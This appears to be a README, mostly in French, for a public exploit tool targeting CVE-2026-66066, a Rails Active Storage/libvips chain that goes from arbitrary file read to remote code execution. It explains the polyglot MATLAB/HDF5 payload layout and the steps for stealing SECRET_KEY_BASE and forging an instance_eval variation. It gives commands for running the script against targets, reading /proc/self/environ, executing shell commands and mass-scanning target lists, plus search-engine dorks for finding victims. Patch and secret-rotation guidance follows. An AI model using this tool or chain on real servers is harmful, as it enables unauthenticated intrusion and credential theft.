
CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Arbitrary File Read → RCE. MATLAB/HDF5 dual-identity file → SECRET_KEY_BASE theft → forged variation. CVSS 9.5 | Rails < 8.1.3.1
CVE-2026-66066 est une chaîne d'exploitation de sévérité critique (CVSS 9.5) permettant, sans authentification, une lecture arbitraire de fichiers menant à l'exécution de code à distance dans Active Storage de Ruby on Rails. Elle affecte Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5 et 8.1.0–8.1.3 dans leur configuration par défaut.
La vulnérabilité exploite une confusion d'analyseurs en quatre couches entre Rails, libvips, libmatio et HDF5. Un fichier conçu avec un en-tête MATLAB 5.0 (satisfaisant le détecteur de libvips) et un conteneur HDF5 v7.3 (acheminé par libmatio) contient un jeu de données externe pointant vers un chemin de fichier arbitraire côté serveur. Lorsqu'ActiveStorage traite ce fichier comme une variante d'image, les octets du fichier cible deviennent des pixels d'image — ce qui permet une lecture arbitraire de fichiers sans authentification.
Une fois SECRET_KEY_BASE récupérée depuis /proc/self/environ ou les fichiers d'identifiants, l'attaquant dérive la clé de vérification Active Storage et forge un JSON de variation signé contenant instance_eval, aboutissant à une exécution de code à distance.
Installations affectées : plus de 500 000 applications Rails (Rails 7+ avec
variant_processor = :vipspar défaut) Découvert par : Ethiack Research Team + RyotaK (GMO Flatt Security) + bl0rph, juillet 2026 Correctif : Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (29 juillet 2026)
| Branche | Versions vulnérables | Correctif |
|---|---|---|
| 7.2.x | 7.2.0 – 7.2.3.1 | 7.2.3.2 |
| 8.0.x | 8.0.0 – 8.0.5 | 8.0.5.1 |
| 8.1.x | 8.1.0 – 8.1.3 | 8.1.3.1 |
Rails 6.x n'est affecté que si variant_processor = :vips a été activé manuellement.
Découvert par : André Baptista, Bruno Mendes, Rafael Castilho (Ethiack) ; RyotaK (GMO Flatt Security) ; bl0rph PoC de référence : 0xsha/KindaRails2Shell Metasploit :
exploit/multi/http/rails_activestorage_vips_rce
L'exploit enchaîne deux désaccords de type de contenu indépendants entre quatre composants :
Layer 1: Rails → trusts client-declared content_type (image/png)
No byte re-identification on direct upload blobs.
Layer 2: libvips → trusts magic bytes "MATLAB 5.0" at offset 0–9
Routes the file to matload without verifying the full header.
Layer 3: libmatio → trusts version word 0x0200 at offset 124–125
Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5 → trusts external(path, offset, length) dataset reference
H5Dread transparently opens and reads the external file.
Result: arbitrary file bytes returned as PNG pixel data.
"Aucun émetteur légitime ne produit à la fois MATLAB 5.0 à l'octet 0 et 0x0200 à l'octet 124."
Blob#variable? se fie à la colonne de la base de données renseignée lors du téléversement direct. Aucun octet n'est examiné.Vips::Image.new_from_file parcourt les chargeurs ; le détecteur de matload ne vérifie que 10 octets.0x0200 sélectionne le backend HDF5 indépendamment du texte descriptif.H5Pset_external permet aux octets bruts d'un jeu de données de résider dans un fichier externe arbitraire. libmatio appelle H5Dread sans vérifier H5Pget_external_count.Transformers::Vips hérite de validate_transformation de la classe de base, qui ne bloque que combine_options. Des noms de méthodes arbitraires sont transmis à .1. POST /rails/active_storage/direct_uploads
blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
→ Rails persists blob with client-declared type, identified=false forever
2. PUT <storage_url>
body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
→ Payload uploaded, blob ready for processing
3. Harvest variation_key from any existing thumbnail on the app
→ og:image, HTML , API responses, Internet Archive
4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
→ ActiveStorage downloads blob, passes to libvips
→ libvips detects "MATLAB 5.0", routes to matload
→ libmatio sees 0x0200, opens HDF5 container
→ H5Dread resolves external(/proc/self/environ) → file bytes become pixels
→ PNG thumbnail returned to attacker
5. Decode PNG pixels → recover SECRET_KEY_BASE from environment
6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
Submit to representations route → RCE
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests
# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com
# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd
# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"
# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--read PATH Read a specific file from the server
--skb SECRET Provide SECRET_KEY_BASE directly for RCE
-o, --output Save results to file
--threads Concurrent workers (default: 20)
--timeout HTTP request timeout in seconds
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_66066.py -t rails-app.example.com
KindaRails2Shell | CVE-2026-66066 | CVSS 9.5
Host : rails-app.example.com
Rails : YES
ActiveStorage : YES
File Read : YES
SECRET_KEY : a1b2c3d4...
RCE : YES
RCE Output:
uid=1000(rails) gid=1000(rails) groups=1000(rails)
rails-prod-01
$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ
FOFA: body="rails/active_storage" || header="X-Runtime"
Shodan: http.component:"Ruby on Rails" http.title:"Ruby on Rails"
Censys: services.http.response.headers.x_powered_by:"Phusion Passenger"
Une exploitation réussie permet l'exécution de code à distance en tant qu'utilisateur du processus Rails :
SECRET_KEY_BASE → forger des cookies signés, des sessions et des jetons Active Storagecredentials.yml.enc → mots de passe de base de données, clés de stockage cloud, jetons d'API tiersAucun compte sur l'application n'est nécessaire — le point de terminaison de téléversement direct accepte les requêtes non authentifiées par défaut.
Le correctif bloque les chargeurs libvips non fiables :
# Active Storage initializer
Vips.block_untrusted = true
# or: VIPS_BLOCK_UNTRUSTED=1
Cela empêche matload, svgload, fitsload, niiload, radload et openslideload de traiter des entrées non fiables. Mettez à niveau vers Rails 7.2.3.2, 8.0.5.1 ou 8.1.3.1. Nécessite libvips >= 8.13 et ruby-vips >= 2.2.1.
Après le correctif : procédez à la rotation de tous les secrets lisibles par le processus Rails — SECRET_KEY_BASE, RAILS_MASTER_KEY, les identifiants de base de données et les clés de stockage cloud.
UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TEST AUTORISÉ.
N'utilisez pas cet outil contre des systèmes sans autorisation explicite du propriétaire. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.
Découvert par Ethiack Research Team + RyotaK + bl0rph. Non affilié à Ruby on Rails.
| Octets | Rôle | Valeur |
|---|
| 0–9 | Détecteur libvips | MATLAB 5.0 |
| 10–123 | Remplissage | Espaces |
| 124–125 | Aiguillage libmatio | 0x0200 (HDF5 v7.3) |
| 126–127 | Marqueur d'endianness | 0x4d49 (IM) |
| 128–511 | Userblock HDF5 | Remplissage |
| 512+ | Superbloc HDF5 | Conteneur avec jeu de données externe |
Vips::Image.public_send| Fichier | Rôle |
|---|
activestorage/app/models/active_storage/blob.rb | variable? se fie à la colonne content_type |
activestorage/app/models/active_storage/blob/representable.rb | La route de représentation résout le blob et la variation indépendamment |
activestorage/app/models/active_storage/variation.rb | decode vérifie la clé de variation ; aucune référence croisée au blob |
image_processing/lib/image_processing/transformers/vips.rb | Aucune liste blanche de méthodes — hérite du comportement de la classe de base |
libvips/foreign/matload.c | vips__mat_ismat ne détecte que les 10 premiers octets |
| Ressource | Lien |
|---|
| Avis de sécurité Rails | GHSA-xr9x-r78c-5hrm |
| PoC de référence (0xsha) | KindaRails2Shell |
| Recherche Ethiack | kindarails2shell |
| Forensique Rails | rails-forensics-CVE-2026-66066 |
| Module Metasploit | rapid7/metasploit-framework#21733 |
| CWE-94 | Injection de code |